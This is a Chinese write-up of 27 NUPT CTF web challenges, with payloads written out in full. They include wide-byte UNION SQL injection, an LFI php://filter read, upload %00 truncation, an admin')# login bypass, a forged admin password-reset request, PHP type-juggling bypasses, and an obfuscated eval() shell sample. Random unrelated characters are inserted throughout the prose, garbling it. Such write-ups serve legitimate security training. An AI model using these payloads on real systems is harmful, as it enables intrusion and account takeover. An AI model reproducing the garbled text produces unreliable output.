南郵CTF-WEB-writeup

2018/3/16 17:34:51

WEB題


1.簽到題

題目:key在哪里?

writeup:查看源代碼即可獲得flag!

2.md5 collision

題目:

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>

writeup:

本題考到了php的弱類型比較奈揍,當兩個值使用==進行比較時,只是比較變量的值洛退,而不會去比較變量的類型般甲,md5('QNKCDZO')的hash值為 0e830400451993494058024219903391 ,對于 0ed+ 類型的數(shù)字揭朝,==會認為該值為0队贱,所以只需滿足md5($a)的值為0ed+類型即可滿足條件,并且$a != 'QNKCDZO'潭袱,這里列出一些符合條件的值:

var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');

輸入參數(shù)$a=240610708得到flag宰睡!

3.簽到2

題目:

writeup:

提示輸入口令zhimakaimen,但是查看源代碼發(fā)現(xiàn)輸入框對長度有限制声邦,最長只能輸入10位挽牢,使用firefox插件firebug与学,chrome控制臺可直接對manlength值進行修改,改為大于11嘉抓,即可輸入索守;也可以使用burpsuite進行抓包,直接修改post值即可得到flag抑片!

4.這題不是WEB

題目:

writeup:

下載圖片卵佛,使用winhex打開圖片,拉到最底部敞斋,得到flag截汪!

5.層層遞進

題目:

writeup:

方法一:使用firebug審查網頁源代碼,SO.html->S0.html->SO.htm->S0.htm-->404.html植捎,一步一步找到404.html衙解,訪問頁面發(fā)現(xiàn)一段文字,查看源代碼焰枢,發(fā)現(xiàn)script中隱藏著flag蚓峦!

方法二:使用Chrome瀏覽器,打開開發(fā)者工具济锄,選擇網絡選項暑椰,可以發(fā)現(xiàn)存在一個狀態(tài)為200的404.html頁面。

6.AAencode

提示:javascript aaencode

題目:

使用unicode編碼發(fā)現(xiàn):

  ?ω??= /`m′)? ~┻━┻   //*′?`*/ ['_']; o=(???)  =_=3; c=(?Θ?) =(???)-(???); (?Д?) =(?Θ?)= (o^_^o)/ (o^_^o);(?Д?)={?Θ?: '_' ,?ω?? : ((ω??==3) +'_') [?Θ?] ,???? :(?ω??+ '_')[o^_^o -(?Θ?)] ,?Д??:((???==3) +'_')[???] }; (?Д?) [?Θ?] =((?ω??==3) +'_') [c^_^o];(?Д?) ['c'] = ((?Д?)+'_') [ (???)+(???)-(?Θ?) ];(?Д?) ['o'] = ((?Д?)+'_') [?Θ?];(?o?)=(?Д?) ['c']+(?Д?) ['o']+(?ω?? +'_')[?Θ?]+ ((?ω??==3) +'_') [???] + ((?Д?) +'_') [(???)+(???)]+ ((???==3) +'_') [?Θ?]+((???==3) +'_') [(???) - (?Θ?)]+(?Д?) ['c']+((?Д?)+'_') [(???)+(???)]+ (?Д?) ['o']+((???==3) +'_') [?Θ?];(?Д?) ['_'] =(o^_^o) [?o?] [?o?];(?ε?)=((???==3) +'_') [?Θ?]+ (?Д?) .?Д??+((?Д?)+'_') [(???) + (???)]+((???==3) +'_') [o^_^o -?Θ?]+((???==3) +'_') [?Θ?]+ (?ω?? +'_') [?Θ?]; (???)+=(?Θ?); (?Д?)[?ε?]='\\'; (?Д?).?Θ??=(?Д?+ ???)[o^_^o -(?Θ?)];(o???o)=(?ω?? +'_')[c^_^o];(?Д?) [?o?]='\"';(?Д?) ['_'] ( (?Д?) ['_'] (?ε?+(?Д?)[?o?]+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ ((???) + (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (???)+ (?Д?)[?ε?]+((???) + (?Θ?))+ (c^_^o)+ (?Д?)[?ε?]+(???)+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ ((o^_^o) +(o^_^o))+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (o^_^o)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (???)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ ((o^_^o) +(o^_^o))+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (o^_^o))+ (o^_^o)+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (o^_^o)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (???)+ (?Д?)[?ε?]+(?Θ?)+ (o^_^o)+ ((???) + (o^_^o))+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ ((???) + (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ ((o^_^o) +(o^_^o))+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (o^_^o)+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ ((???) + (o^_^o))+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (???)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ ((???) + (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (o^_^o))+ ((???) + (?Θ?))+ (?Д?)[?ε?]+(???)+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+((???) + (?Θ?))+ (?Θ?)+ (?Д?)[?o?]) (?Θ?)) ('_');

writeup:

提示是JavaScript編碼荐绝,所以直接在firebug的console中輸出試試干茉,發(fā)現(xiàn)有三個字符沒有定義\u03C9\uFF9F\uFF89,使用unicode進行解碼很泊,得到ω??這三個字母角虫,可能在AAencode中沒有這三個字符的定義,使用console定義一個變量var ω??=' ';委造,定義ω??為空戳鹅,再次在console中輸出此段代碼,彈出flag昏兆!

7.單身二十年

提示:

這題可以靠技術也可以靠手速枫虏!老夫單身二十年,自然靠的是手速爬虱!

題目:

writeup:

點擊"到這里找key"隶债,發(fā)現(xiàn)地址跳轉了兩次頁面,中間一次一閃而過跑筝,使用burpsuite進行攔截死讹,在HTTP history中查看search_key.php頁面,在response中得到flag曲梗!

image.png

8.你從哪里來

提示:

你是從 google 來的嗎赞警?

題目:

are you from google?

writeup:

使用modify headers添加一個referer:http://www.google.com妓忍,重新發(fā)送請求,即可得到flag愧旦!

9.php decode

提示:

見到的一個類似編碼的shell世剖,請解碼

題目:

<?php
function CLsI($ZzvSWE) {
    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
    for ($i = 0; $i < strlen($ZzvSWE); $i++) {
        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
    }
    return $ZzvSWE;
}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>

writeup:

考察對PHP和shell的理解
eval()函數(shù)會執(zhí)行括號里面的語句,這種代碼在現(xiàn)實中一般是某個黑客上傳的一句話馬笤虫,但在這里eval里面肯定就是flag了旁瘫,找個在線代碼執(zhí)行的網站,復制粘貼代碼琼蚯,將eval改成echo即可境蜕,得到flag!

10.文件包含

提示:

沒錯 這就是傳說中的LFI

題目:

點擊"click me? no"凌停,發(fā)現(xiàn)存在文件包含,URL如下:http://4.chinalover.sinaapp.com/web7/index.php?file=show.php

writeup:

提示此題為本地文件包含售滤, 嘗試使用偽協(xié)議讀取php文件:訪問http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php罚拟,將得到進過base64加密后的字符串。經過工具解密后完箩,即可看到原內容赐俗。

解密base64后,得到index.php源代碼:

<html>
    <title>asdf</title>
<?php
    error_reporting(0);
    if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:nctf{edulcnxxxxxxx_siht}
?>
</html>

11.單身一百年也沒用

提示:

是的弊知。阻逮。這一題你單身一百年也沒用

題目:

writeup:

仍然是到這里找key,使用burpsuite進行攔截秩彤,發(fā)現(xiàn)兩個請求頁面叔扼,查看response,找到flag

12.Download~!

提示:

想下啥就下啥漫雷,別下音樂瓜富,不騙你,試試下載其他東西~

題目:

writeup:

提示別下音樂降盹,嘗試下載其他東西与柑,首先查看網頁源代碼

發(fā)現(xiàn)兩個鏈接,就是下載音樂的鏈接蓄坏,download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=价捧,url經過了base64加密,解碼發(fā)現(xiàn)內容為xingxingdiandeng.mp3涡戳,在訪問下載頁面時url參數(shù)進行了base64加密结蟋,嘗試下載其他頁面,訪問index.php發(fā)現(xiàn)頁面不存在渔彰,訪問index.html存在椎眯,嘗試下載index.html

發(fā)現(xiàn)index.html挠将,以及base64后的index.html都無法訪問。


嘗試下載download.php编整,以及base64后的download.php


打開下載的download文件舔稀,發(fā)現(xiàn)首先對url參數(shù)進行了base64解碼,并且只有四個文件能夠正常下載掌测,否則提示Access Forbidden内贮!,下載hereiskey.php汞斧,得到flag

13.COOKIE

提示:COOKIE就是甜餅的意思夜郁,0==not
題目:

writeup:提示cookie信息,所以查看一下請求頭信息粘勒,發(fā)現(xiàn)Cookie中Login=0竞端,又提示了0==not,所以嘗試修改Cookie信息庙睡,使Login=1事富,方法可使用

14.MYSQL

提示:不能每一題都這么簡單嘛!你說是不是乘陪?
題目:

writeup:題目提示robots.txt统台,首先訪問http://chinalover.sinaapp.com/web11/robots.txt
發(fā)現(xiàn)如下代碼:

別太開心啡邑,flag不在這贱勃,這個文件的用途你看完了?
在CTF比賽中谤逼,這個文件往往存放著提示信息

TIP:sql.php

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

發(fā)現(xiàn)當id=1024贵扰,提示no!try again流部,嘗試訪問其他幾個頁面拔鹰,使用python執(zhí)行一下:

import requests

url = 'http://chinalover.sinaapp.com/web11/sql.php?id='
for i in range (1000,1100):
    req = requests.get(url+str(i))
    print url+str(i)
    print req.content

發(fā)現(xiàn)當id=其他值時,都提示沒有內容贵涵,問題應該就在id=1024里列肢,剛開始考慮注入,想通過union聯(lián)合查詢出id=1024的內容宾茂,但是怎么寫也沒成功瓷马,最后看了大神的writeup,發(fā)現(xiàn)考點是mysql精度問題跨晴,崩潰欧聘。。
輸入id=1024.00000001等float類型的數(shù)即可滿足if條件端盆,得到flag怀骤。

15.sql injection 3

題目:


writeup:SQL注入題费封,
1.判斷注入點:加單引號,“ ' ”蒋伦,發(fā)現(xiàn)被\轉義了弓摘。


使用%df'寬字節(jié)注入,報錯了痕届,輸入id=1%df' and 1=1 %23


顯示正常韧献,輸入id=1%df' and 1=2 %23


未顯示任何信息,說明找到了注入點研叫,接下來進行常規(guī)注入:

2.判斷列數(shù):id=1%df' order by 2 %23锤窑,顯示正常,當%df' order by 3 %23時嚷炉,報錯渊啰,確定為2列。

3.union聯(lián)合查詢申屹,id=1%df' and 1=2 union select 1,2 %23

3.獲取當前數(shù)據(jù)庫绘证,id=1%df' and 1=2 union select 1,database() %23

4.獲取數(shù)據(jù)庫名,id=1%df' and 1=2 union select 1,group_concat(table_name) from information_schema.TABLES where table_schema=0x7361652d6368696e616c6f766572 %23独柑,這里數(shù)據(jù)庫名使用16進制。

5.發(fā)現(xiàn)ctf1-4表私植,隨便查看一個忌栅,查看ctf4表的列明,id=1%df' and 1=2 union select 1,group_concat(column_name) from information_schema.COLUMNS where table_name=0x63746634 %23曲稼,發(fā)現(xiàn)存在id索绪,flag兩列,我們直接查詢flag的值

6.獲取flag值贫悄,id=1%df' and 1=2 union select 1,flag from ctf4 %23瑞驱,得到flag

16./x00

提示:題目有多種解法,你能想出來幾種窄坦?
題目:

view-source:
    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必須輸入數(shù)字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '騷年唤反,繼續(xù)努力吧啊~';
    }

writeup:
可直接訪問源代碼,關于@ereg()函數(shù)鸭津,int ereg(string pattern, string originalstring, [array regs]);彤侍,ereg()函數(shù)用指定的模式搜索一個字符串中指定的字符串,如果匹配成功返回true,否則,則返回false。搜索字母的字符是大小寫敏感的逆趋。所以盏阶,本題中@ereg ("^[1-9]+$", $_GET['nctf'])即要求nctf變量必須是數(shù)字,google發(fā)現(xiàn)ereg函數(shù)存在%00截斷漏洞闻书,當遇到%00(NULL)時名斟,函數(shù)就截止了脑慧。strpos(string,find,start),strpos()函數(shù)查找字符串在另一字符串中第一次出現(xiàn)的位置(區(qū)分大小寫)。即strpos ($_GET['nctf'], '#biubiubiu')函數(shù)要求nctf變量中需要包含'#biubiubiu'字符串砰盐,才能返回flag闷袒。此題目前知道有兩種方法繞過:
方法一:使用%00截斷,構造payload如nctf=1%00%23biubiubiu楞卡,這里#符號需要進行URL編碼霜运,輸入后的得到flag。

方法二:使用數(shù)組的形式繞過蒋腮,payload為:nctf[]=123,傳入之后淘捡,ereg是返回NULL的,===判斷NULL和FALSE池摧,是不相等的焦除,所以可以進入第二個判斷,strpos處理數(shù)組時作彤,也是返回NULL膘魄,注意這里的是!==,NULL!==FALSE,條件成立竭讳,拿到flag

17.bypass again

提示:依舊是弱類型
題目:

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

writeup:本題考查MD5碰撞创葡,當兩個變量的md5值,hash值為0ed+類型時绢慢,==會認為兩邊的值都為0灿渴,即可滿足條件,符合條件的值如下:md5('240610708') == md5('QNKCDZO')胰舆,payload:a=240610708&b=QNKCDZO骚露,提交得到flag。

擴展MD5碰撞

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020
  
s155964671a
0e342768416822451524974117254469
  
s214587387a
0e848240448830537924465865611904
  
s214587387a
0e848240448830537924465865611904
  
s878926199a
0e545993274517709034328855841020
  
s1091221200a
0e940624217856561557816327384675
  
s1885207154a
0e509367213418206700842008763514

18.變量覆蓋

提示:聽說過變量覆蓋么缚窿?
題目:

writeup:發(fā)現(xiàn)頁面底部有source.php棘幸,打開發(fā)現(xiàn)如下關鍵代碼:

<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
  <?php
    extract($_POST);
    if ($pass == $thepassword_123) { ?>
      <div class="alert alert-success">
      <code><?php echo $theflag; ?></code>
    </div>
  <?php } ?>
<?php } ?>

extract()函數(shù)的作用:從數(shù)組中將變量導入到當前的符號表,可以看到這里的代碼為:extract($_POST)倦零,即將POST的參數(shù)導入當前的符號表误续,由于extract()函數(shù)存在變量覆蓋漏洞,所以提交post參數(shù):pass=123&thepassword_123=123或者pass[]=&thepassword_123扫茅,即將兩個變量的值修改成相同的女嘲,即可得到flag!

19.PHP是世界上最好的語言

提示:聽說PHP是世界上最好的語言
題目:讀取index.txt發(fā)現(xiàn)如下內容:

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>

<br><br>
Can you authenticate to this website?

首先eregi()函數(shù)诞帐,判斷id是否為hackerDJ欣尼,大小寫敏感,其次對id進行了一次URL解碼,因為頁面?zhèn)鬟f時愕鼓,已經會進行一次URLdecode钙态,這里又解碼一次后,要等于hackerDJ菇晃,所以傳遞id時需要進行兩次url編碼册倒,上工具:


writeup:

提交id=%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61,得到flag

20.偽裝者

提示:這是一個到處都有著偽裝的世界
題目:


writeup:這題怎么也沒做出來磺送。根據(jù)提示驻子,本地訪問,應該是指定X-Forward-for:127.0.0.1估灿,重新刷新頁面崇呵,應該會得到flag。

21.Header

提示:頭跋谠S蚩丁!頭昂瓜S贪!弛针!
題目:


writeup:提示在數(shù)據(jù)包頭中叠骑,使用HTTP headers插件獲取headers,發(fā)現(xiàn)在response回應數(shù)據(jù)包頭中有flag

22.上傳繞過

提示:猜猜代碼怎么寫的
題目:


writeup:考點文件上傳
1.上傳正常的1.jpg文件
提示如下代碼:

Array ( [0] => .jpg [1] => jpg ) Upload: 1.jpg
Type: image/jpeg
Size: 0 Kb
Stored in: ./uploads/8a9e5f6a7a789acb.phparray(4) { ["dirname"]=> string(9) "./uploads" ["basename"]=> string(5) "1.jpg" ["extension"]=> string(3) "jpg" ["filename"]=> string(1) "1" }
必須上傳成后綴名為php的文件才行跋髯隆宙枷!

代碼提示必須上傳后綴為php的文件
2.直接上傳1.php文件
提示Array ( [0] => .php [1] => php ) 不被允許的文件類型,僅支持上傳jpg,gif,png后綴的文件
3.使用burpsuite攔截
發(fā)現(xiàn)正常文件上傳的目錄


4.修改filename值,嘗試將1.jpg修改為1.php付材,失敗


5.嘗試大寫朦拖,雙寫圃阳,Php厌衔,pHp,phP捍岳,PHp富寿,pHP,PhP锣夹,PHP页徐,phpphp,phphpp银萍,php3前鹅,php4霍衫,php5等發(fā)現(xiàn)都失敗计呈,
Content-Disposition: form-data; name="file"; filename="1.PhP"

6.嘗試1.php.jpg慌植,發(fā)現(xiàn)當做圖片進行處理。

image.png

7.嘗試%00截斷:1.php%00.jpg虐先,在burpsuite---Hex中,將空格%20修改為00,提交巧鸭,發(fā)現(xiàn)仍然失敗

image.png

8.嘗試在目錄處截斷,/uploads/1.php%00麻捻,得到flag

image.png

9.擴展纲仍,如果還是不行,還可嘗試修改content-Type贸毕,修改文件頭GIF89a等信息郑叠。

23.SQL注入1

題目:


writeup:
點擊Source,查看源代碼:

<html>
<head>
Secure Web Login
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>

發(fā)現(xiàn)SQL語句如下:"select user from ctf where (user='".$user."') and (pw='".$pass."')"崖咨,當user=admin&pass=admin時锻拘,SQL語句如下:select user from ctf where (user='admin') and (pw='pass'),因此需要閉合'和)击蹲,構造萬能密碼如下:admin')#即可繞過登錄署拟,得到flag

24.pass check

題目:

<?php
$pass=@$_POST['pass'];
$pass1=***********;//被隱藏起來的密碼
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

writeup:

代碼中需要我們輸入post參數(shù)pass,并且使用了strcmp函數(shù)歌豺,我們首先看一下這個函數(shù),這個函數(shù)是用于比較字符串的函數(shù)推穷,int strcmp ( string $str1 , string $str2 ),參數(shù) str1第一個字符串类咧。str2第二個字符串馒铃。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0痕惋;如果兩者相等区宇,返回 0≈荡粒可知议谷,傳入的期望類型是字符串類型的數(shù)據(jù),但是如果我們傳入非字符串類型的數(shù)據(jù)的時候堕虹,這個函數(shù)將會有怎么樣的行為呢卧晓?實際上,當這個函數(shù)接受到了不符合的類型赴捞,這個函數(shù)將發(fā)生錯誤逼裆,但是在5.3之前的php中,顯示了報錯的警告信息后赦政,將return 0 !!!! 也就是雖然報了錯胜宇,但卻判定其相等了。所以只要我們$_POST['pass']是一個數(shù)組或者一個object即可,所以輸入pass[]=admin桐愉,即可繞過得到flag封寞。
注:這一個漏洞適用與5.3之前版本的php

image

25.起名字真難

題目:

<?php
 function noother_says_correct($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {   
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
    echo $flag;
else 
    echo 'access denied';
?>

writeup:

通過代碼可以剛發(fā)現(xiàn),需要傳入一個GET型的變量key仅财,并對其進行判斷狈究,對key中的每一位進行比較,如果ASCII碼大于1盏求,并且小于9抖锥,就返回false,否則將$number與54975581388進行數(shù)值比較碎罚,如果相等返回true磅废,不相等返回false;題目妖氣返回true才能輸出flag荆烈,直接輸入key=54975581388顯然是不能滿足if ( ($digit >= $one) && ($digit <= $nine) )條件的拯勉,使用16進制編碼,將54975581388通過 INT to HEX轉為ccccccccc憔购,在開頭加0x標記宫峦,提交得到flag!

image

26.密碼重置

題目:

重置管理員賬號:admin 的密碼

你在點擊忘記密碼之后 你的郵箱收到了這么一封重置密碼的郵件:

點擊此鏈接重置您的密碼

image

writeup:

發(fā)現(xiàn)URL鏈接中存在base64編碼玫鸟,嘗試解碼得到:http://nctf.nuptzj.cn/web13/index.php?user1=ctfuser导绷,并且使用firebug審查元素發(fā)現(xiàn)user不可修改,使用burp進行抓包修改user的值為admin

<form action="" method="post">
你的賬號:
<input value="ctfuser" name="user" readonly="readonly" type="text">
<br>
新密碼:
<input name="newpass" type="password">
<br>
驗證碼:1234
<input name="vcode" size="4" maxlength="4" type="text">
<br>
<input value="重置" type="submit">
</form>

在burp攔截的數(shù)據(jù)包中發(fā)現(xiàn)屎飘,對傳遞過來的base64值還進行了URL編碼妥曲,所以我們需要將如下三處的值修改為admin

POST /web13/index.php?user1=%59%33%52%6D%64%58%4E%6C%63%67%3D%3D HTTP/1.1
Host: nctf.nuptzj.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Referer: http://nctf.nuptzj.cn/web13/index.php?user1=%59%33%52%6D%64%58%4E%6C%63%67%3D%3D
Connection: close
Upgrade-Insecure-Requests: 1

user=ctfuser&newpass=123&vcode=
image

前兩處需要首先對admin進行base64編碼,得到YWRtaW4=钦购,在進行URL編碼檐盟,得到%59%57%52%74%61%57%34%3d,輸入驗證碼1234,提交得到flag

POST /web13/index.php?user1=%59%57%52%74%61%57%34%3d HTTP/1.1
Host: nctf.nuptzj.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Referer: http://nctf.nuptzj.cn/web13/index.php?user1=%59%57%52%74%61%57%34%3d
Connection: close
Upgrade-Insecure-Requests: 1

user=admin&newpass=123&vcode=1234
image

27.PHP反序列化

題目:

<?php
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>

writeup:

這道題做不了押桃,說一下大致思路吧葵萎,本題考到了PHP的反序列化,首先理解一下PHP的序列化和反序列化怨规,serialize()就是將PHP中的變量如對象(object),數(shù)組(array)等等的值序列化為字符串陌宿,unserialize()就是把序列化的字符串轉換回PHP的值锡足。

php反序列化漏洞也稱對象注入漏洞波丰,舉個例子,下列代碼中定義了一個對象TestClass舶得,并且包含一個變量和一個方法掰烟,它創(chuàng)建了一個對象并且調用了PrintVariable函數(shù),該函數(shù)會輸出變量variable。

<?php  
class TestClass  
{  
    // 一個變量  
    public $variable = 'This is a string';  
    // 一個簡單的方法  
    public function PrintVariable()  
    {  
        echo $this->variable;  
    }  
}   
// 創(chuàng)建一個對象  
$object = new TestClass();  
// 調用一個方法  
$object->PrintVariable();  
?> 
image

php類可能會包含一些特殊的函數(shù)叫magic函數(shù)纫骑,magic函數(shù)命名是以符號__開頭的蝎亚,比如__construct, __destruct, __toString, __sleep, __wakeup等等。這些函數(shù)在某些情況下會自動調用先馆,比如__construct當一個對象創(chuàng)建時被調用发框,__destruct當一個對象銷毀時被調用,__toString當一個對象被當作一個字符串使用煤墙。在下列代碼中增加了三個magic方法梅惯,__construct, __destruct__toString》乱埃可以看出铣减,__construct在對象創(chuàng)建時調用,__destruct在php腳本結束時調用脚作,__toString在對象被當作一個字符串使用時調用葫哗。

<?php  
class TestClass  
{  
    // 一個變量  
    public $variable = 'This is a string';  
    // 一個簡單的方法  
    public function PrintVariable()  
    {  
        echo $this->variable . '<br />';  
    }  

    // Constructor  
    public function __construct()  
    {  
        echo '__construct <br />';  
    }  
   
    // Destructor  
    public function __destruct()  
    {  
        echo '__destruct <br />';  
    }  
   
    // Call  
    public function __toString()  
    {  
        return '__toString<br />';  
    }  
}  
   
// 創(chuàng)建一個對象  
//  __construct會被調用  
$object = new TestClass();  
   
// 創(chuàng)建一個方法   
$object->PrintVariable();  
   
// 對象被當作一個字符串  
//  __toString會被調用  
echo $object;  
   
// End of PHP script  
// 腳本結束__destruct會被調用  
?> 
image

php允許保存一個對象方便以后重用,這個過程被稱為序列化球涛。為什么要有序列化這種機制呢?在傳遞變量的過程中劣针,有可能遇到變量值要跨腳本文件傳遞的過程。試想亿扁,如果為一個腳本中想要調用之前一個腳本的變量酿秸,但是前一個腳本已經執(zhí)行完畢,所有的變量和內容釋放掉了魏烫,我們要如何操作呢?難道要前一個腳本不斷的循環(huán)辣苏,等待后面腳本調用?這肯定是不現(xiàn)實的。serialize和unserialize就是用來解決這一問題的哄褒。serialize可以將變量轉換為字符串并且在轉換中可以保存當前變量的值稀蟋;unserialize則可以將serialize生成的字符串變換回變量。下列代碼中呐赡,讓我們看一下serialize()輸出的內容退客。

<?php  
// 某類    
class User  
{  
    // 類數(shù)據(jù)  
    public $age = 0;  
    public $name = '';  
   
    // 輸出數(shù)據(jù)  
    public function PrintData()  
    {  
        echo 'User ' . $this->name . ' is ' . $this->age  
             . ' years old. <br />';  
    }  
}  
   
// 創(chuàng)建一個對象  
$usr = new User();  
   
// 設置數(shù)據(jù)  
$usr->age = 20;  
$usr->name = 'John';  
   
// 輸出數(shù)據(jù)  
$usr->PrintData();  
   
// 輸出序列化之后的數(shù)據(jù)  
echo serialize($usr);  
?> 
image

這里O代表對象,4代表類名的長度链嘀,User就是類名萌狂,2表示類中有兩個變量,{}內的分別是兩個變量以及變量的值怀泊,s表示string類型茫藏,3表示第一個變量的長度,age為第一個變量霹琼,i表示int類型务傲,值為20凉当,后面的類似。

注意:只會對類中的變量進行序列化售葡,不會序列化方法看杭!

當我們需要使用這個對象時,可使用unserialize方法進行重建挟伙,代碼如下:

<?php  
// 某類  
class User  
{  
    // Class data  
    public $age = 0;  
    public $name = '';  
   
    // Print data   
    public function PrintData()  
    {  
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
    }  
}  
   
// 重建對象     
$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');  
   
// 調用PrintData 輸出數(shù)據(jù)   
$usr->PrintData();   
?> 
image

